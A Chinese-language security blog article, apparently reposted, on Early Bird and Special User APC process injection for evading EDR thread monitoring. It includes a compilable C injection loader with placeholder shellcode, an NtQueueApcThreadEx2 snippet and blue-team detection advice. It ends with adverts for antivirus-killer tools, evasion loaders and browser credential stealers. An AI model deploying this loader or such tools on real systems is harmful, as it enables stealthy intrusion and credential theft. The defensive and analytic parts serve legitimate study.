APC注入复兴:让EDR线程监控彻底失明

admin 2026-08-08 05:29:12 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文深入解析了APC注入技术的复兴,重点探讨EarlyBirdAPC与SpecialUserAPC两种变种如何绕过EDR线程监控。EarlyBird利用进程挂起创建时的时序差,在EDR钩子落地前通过NtTestAlert执行恶意代码;SpecialUserAPC则借助未文档化的NtQueueApcThreadEx2强制执行APC,打破线程必须进入alertable状态的前提。文章提供了可编译的PoC代码及实战应用场景,并从蓝队视角给出ETW-TI监控、ASR规则阻断、调用栈基准校验及启用HVCI等防御对抗建议。但文末包含大量违规免杀工具的广告内容,严重降低文章整体价值。 综合评分: 55 文章分类: 免杀,红队,渗透测试,内网渗透


cover_image

APC注入复兴:让EDR线程监控彻底失明

原创

星夜AI安全 星夜AI安全

星夜AI安全

2026年8月7日 10:53 吉林

在小说阅读器读本章

去阅读

🌈

Early Bird APC 与 Special User APC(NtQueueApcThreadEx2)正在重新杀回红队武器库——它们在 EDR 用户态钩子落地前、或无需任何 alertable 等待,就让 Shellcode 在合法进程里跑起来。本文拆解两套变种的底层机制,并给出可编译 PoC 与检测对抗思路。

一、技术全貌:这是什么?

2026 年,进程注入依然坐在 MITRE ATT&CK T1055 的顶端。但一个被宣判”过时”的老技术正在悄悄复活——APC 注入(Asynchronous Procedure Call Injection)

Picus Labs 的 Red Report 2025 显示,T1055 出现在约 31% 的百万级恶意样本中。传统 APC 注入依赖目标线程进入 alertable 等待(SleepEx / WaitForSingleObjectEx)才能触发,EDR 只要盯着这些 API 就能拦。但 2024-2026 年,它进化出了两个让防御者头疼的变种:

  • Early Bird APC:在进程初始化阶段、EDR 钩子还没挂上时就执行 Shellcode;
  • Special User APC:借助 NtQueueApcThreadEx2QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC 标志,线程无需进入 alertable 状态也会被强制执行。

两者都已经出现在国家级工具包和 2024 年后的新 Loader(DarkGate、Bumblebee、Kiss Loader)里。

二、为什么这个技术如此重要

EDR 的进程注入检测,本质建立在两个假设上:

  1. 远程线程创建(CreateRemoteThread)是高危信号——于是攻击者改用 APC;
  2. 线程不进 alertable 等待,APC 就不会跑——于是 Special User APC 直接打破这个前提。

更致命的是 Early Bird 的时序窗口:当进程以 CREATE_SUSPENDED 创建、主线程尚未执行任何合法代码时,Windows 加载器在初始化末尾会调用 NtTestAlert 排空 APC 队列。此时 EDR 的应用层钩子(用户态 inline hook、ETW 回调、DLL 注入式监控)压根还没加载,Shellcode 抢在所有安全产品”醒来”之前就跑完了。

这意味着:你看到的不是”注入后绕过检测”,而是”根本没给检测机会”。

三、技术原理解析

3.1 Early Bird APC:抢在钩子落地前

核心五步:

1. CreateProcessW(..., CREATE_SUSPENDED)   // 挂起态创建合法进程
2. VirtualAllocEx(hProcess, ..., PAGE_READWRITE)  // 在目标进程分配内存
3. WriteProcessMemory(hProcess, p, shellcode, ...)  // 写入 Shellcode
4. VirtualProtectEx(hProcess, p, ..., PAGE_EXECUTE_READ)  // 改可执行
5. QueueUserAPC((PAPCFUNC)p, hThread, NULL)  // 队列入 APC
6. ResumeThread(hThread)  // 恢复线程 -> 加载器 NtTestAlert 触发 APC

关键点:分配内存时先用 PAGE_READWRITE,最后才改 PAGE_EXECUTE_READ,避免早期 RWX 分配被 EDR 的 VirtualAllocEx 审计捕获。完整可编译 PoC(节选):

#include&nbsp;<windows.h>
#include&nbsp;<stdio.h>

int&nbsp;main(void)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;shellcode[]&nbsp;=&nbsp;{&nbsp;0x90,&nbsp;0x90,&nbsp;0xC3&nbsp;};&nbsp;//&nbsp;替换为真实&nbsp;payload
&nbsp;&nbsp;&nbsp;&nbsp;STARTUPINFOW&nbsp;si&nbsp;=&nbsp;{&nbsp;0&nbsp;};
&nbsp;&nbsp;&nbsp;&nbsp;PROCESS_INFORMATION&nbsp;pi&nbsp;=&nbsp;{&nbsp;0&nbsp;};
&nbsp;&nbsp;&nbsp;&nbsp;si.cb&nbsp;=&nbsp;sizeof(si);

&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;1.&nbsp;挂起态创建合法进程(借壳)
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!CreateProcessW(L"C:\\Windows\\System32\\cmd.exe",&nbsp;NULL,&nbsp;NULL,&nbsp;NULL,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FALSE,&nbsp;CREATE_SUSPENDED,&nbsp;NULL,&nbsp;NULL,&nbsp;&si,&nbsp;&pi))&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("[-]&nbsp;CreateProcess&nbsp;failed:&nbsp;%lu\n",&nbsp;GetLastError());
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;1;
&nbsp;&nbsp;&nbsp;&nbsp;}

&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;2+3.&nbsp;分配并写入&nbsp;Shellcode
&nbsp;&nbsp;&nbsp;&nbsp;LPVOID&nbsp;p&nbsp;=&nbsp;VirtualAllocEx(pi.hProcess,&nbsp;NULL,&nbsp;sizeof(shellcode),
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MEM_COMMIT&nbsp;|&nbsp;MEM_RESERVE,&nbsp;PAGE_READWRITE);
&nbsp;&nbsp;&nbsp;&nbsp;WriteProcessMemory(pi.hProcess,&nbsp;p,&nbsp;shellcode,&nbsp;sizeof(shellcode),&nbsp;NULL);

&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;4.&nbsp;改为可执行(R+X&nbsp;而非&nbsp;RWX,降低告警)
&nbsp;&nbsp;&nbsp;&nbsp;DWORD&nbsp;old&nbsp;=&nbsp;0;
&nbsp;&nbsp;&nbsp;&nbsp;VirtualProtectEx(pi.hProcess,&nbsp;p,&nbsp;sizeof(shellcode),&nbsp;PAGE_EXECUTE_READ,&nbsp;&old);

&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;5.&nbsp;队列入&nbsp;APC
&nbsp;&nbsp;&nbsp;&nbsp;QueueUserAPC((PAPCFUNC)p,&nbsp;pi.hThread,&nbsp;NULL);

&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;6.&nbsp;恢复线程&nbsp;->&nbsp;加载器&nbsp;NtTestAlert&nbsp;在&nbsp;EDR&nbsp;钩子前执行&nbsp;Shellcode
&nbsp;&nbsp;&nbsp;&nbsp;ResumeThread(pi.hThread);
&nbsp;&nbsp;&nbsp;&nbsp;CloseHandle(pi.hThread);
&nbsp;&nbsp;&nbsp;&nbsp;CloseHandle(pi.hProcess);
&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;0;
}

调用栈特征:ntdll!LdrInitializeThunk → ntdll!LdrpInitializeProcess → ntdll!NtTestAlert → 你的 Shellcode。这是区分 Early Bird 与其他注入的指纹。

3.2 Special User APC:不需要 alertable 等待

NtQueueApcThreadEx2 从 RS5 起就存在于内核,但长期处于未文档化状态。当它带上 QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC 标志时,内核会:

  1. 把一个 内核 APC(不是用户 APC)挂到目标线程;
  2. 该内核 APC 在下一次内核态→用户态切换时触发,与线程是否 alertable 无关
  3. 通过 KiUserApcDispatcher 分发攻击者的用户态例程。

结果:任意线程都成了有效目标,盯着 SleepEx 的检测逻辑直接失效。变种 PoC 核心:

//&nbsp;需要未文档化原型
typedef&nbsp;NTSTATUS&nbsp;(NTAPI&nbsp;*pNtQueueApcThreadEx2)(
&nbsp;&nbsp;&nbsp;&nbsp;HANDLE&nbsp;ThreadHandle,&nbsp;HANDLE&nbsp;ReserveHandle,&nbsp;ULONG&nbsp;ApcFlags,
&nbsp;&nbsp;&nbsp;&nbsp;PVOID&nbsp;ApcRoutine,&nbsp;PVOID&nbsp;ApcArgument1,&nbsp;PVOID&nbsp;ApcArgument2,&nbsp;PVOID&nbsp;ApcArgument3);

#define&nbsp;QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC&nbsp;0x1

//&nbsp;ApcFlags&nbsp;=&nbsp;1&nbsp;时,无论目标线程是否&nbsp;alertable&nbsp;都会被强制执行
NtQueueApcThreadEx2(hThread,&nbsp;NULL,&nbsp;QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(PVOID)pShellcode,&nbsp;NULL,&nbsp;NULL,&nbsp;NULL);

这正是一大批 2024 年后 Loader 采用的”无 alertable 依赖”注入路径。

四、实战应用场景

  • 无文件 Loader:配合 Early Bird,恶意 DLL/Shellcode 在 svchost.execmd.exe 等合法进程里执行,继承其信任光环;
  • 绕过 EDR 行为基线:不调用 CreateRemoteThread、不触发远程线程创建告警;
  • 组合拳:APC 注入常作为”第一阶段”,后续接 间接系统调用 + ETW/AMSI 致盲 + 进程参数投毒,构成完整免杀链路;
  • 横向移动:在已控主机上向新进程注入,规避基于进程创建的启发式。

五、防御对抗建议

  • ETW-TI 监控:订阅 Microsoft-Windows-Threat-Intelligence 提供者的 ThgQueueApcThread 事件,该事件携带调用者 PID、目标线程 ID 与 NormalRoutine(APC 执行地址),可发现跨进程 NtQueueApcThread(Ex2)
  • Special User APC 阻断:通过攻击面减少(ASR)规则或驱动黑名单,限制 NtQueueApcThreadEx2SPECIAL_USER_APC 标志在非可信进程中的使用;
  • 调用栈基准:对 LdrInitializeThunk → NtTestAlert → 可执行内存 的异常路径做行为告警;
  • RWX 分配审计:即便 Early Bird 规避了 RWX,仍应对进程内异常的 PAGE_EXECUTE_READ 私有内存做完整性检查;
  • HVCI / VBS:启用基于虚拟化的安全,可显著提高用户态 APC 劫持后落地可执行代码的门槛。

六、技术延伸阅读

  • bloo.io:《Asynchronous Process Call Injection: Resurgence in 2024-26》—— Early Bird 与 Special User APC 全景
  • silentforce.io:《Early Bird APC Queue Injection in Practice》—— 完整 C 实现
  • ired.team / core-jmp.org:《EarlyBird APC Injection》—— 实验室级复现与调试
  • MITRE ATT&CK T1055.004(Asynchronous Procedure Call)—— 技术映射与检测

🌈

红队视角看,APC 注入的价值在于”合法即隐形”;蓝队视角看,它提醒我们:盯着 CreateRemoteThread 的年代已经过去,EDR 必须把视野下沉到内核态 KiInitiateUserApc 与 ETW-TI。任何只依赖用户态行为的检测逻辑,都该重新评估了。

圈子介绍

现任职于某头部网络安全企业攻防研究部,核心红队成员。2021-2023年间累计参与40+场国家级、行业级攻防实战演练,精通漏洞挖掘、红蓝对抗策略制定、恶意代码分析、内网横向渗透及应急响应等技术领域。在多次大型演练中,主导突破多个高防护目标网络,曾获”最佳攻击手””突出贡献个人”等荣誉。

已产出的安全工具及成果包括:

  • 多款主流杀软通杀工具(兼容卡巴斯基、诺顿、瑞星、360等终端防护,无感知运行,突破多引擎联合检测)
  • XXByPassBehinder v1.1 冰蝎免杀生成器(定制化冰蝎免杀工具,绕过主流终端防护与EDR动态检测,支持自定义载荷)
  • 哥斯拉二开免杀定制版(二开优化,深度免杀,突破终端防护与EDR检测,适配多场景植入)
  • NeoCS4.9终极版(高级免杀加载工具,强化载荷注入与进程劫持,适配多系统版本,无兼容问题)
  • WinDump_免杀版(浏览器凭证窃取工具,支持Chrome/Edge/Firefox等主流浏览器,一键提取敏感数据,免杀过防护)
  • DumpBrowser_V1_免杀版(浏览器凭证窃取工具,专攻浏览器密码、Cookie、历史记录提取,免杀性能拉满)
  • fscan二开版(二开优化内网扫描工具,增强指纹精度、弱口令爆破与结果标准化输出,适配复杂内网)
  • RingQ加载器二开版(二开优化免杀加载器,支持Shellcode内存执行,绕过各类终端防护与EDR检测)
  • 多款免杀Webshell集合(覆盖PHP/JSP/ASPX,过主流WAF与终端防护,适配不同Web场景)
  • 免杀360专属加载器(支持Shellcode内存执行,针对性绕过360全系防护检测,无感知运行)
  • 一键Kill 火绒 defender 工具 HDKiller(包含源码)
  • win11 一键kill 360工具 InjectKill(包含源码)
  • win11 一键kill defender工具win11_df-killer(包含源码)
  • 免杀火绒6.0内存防护加载器BypassMemLoader
  • 单文件过360 免杀loader exe_bypass_360
  • 单文件过火绒 df 免杀loader exe_bypass_df(包含源码)
  • LNK钓鱼文件生成工具V1.0
  • EXE捆绑启动器 v2.0
  • 火绒6内存免杀加载器bypasshr6
  • 火绒一键Kill专杀工具HRKiller
  • Ring3 内存免杀工具Ring3bypasshr.exe
  • win11 一键kill 360工具 Kill360_V2
  • win11 一键kill 360工具 Kill360_V3.1 后续将不断更新到内部圈子中 欢迎加入圈子

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:星夜AI安全 星夜AI安全 星夜AI安全《APC注入复兴:让EDR线程监控彻底失明》

评论:0   参与:  0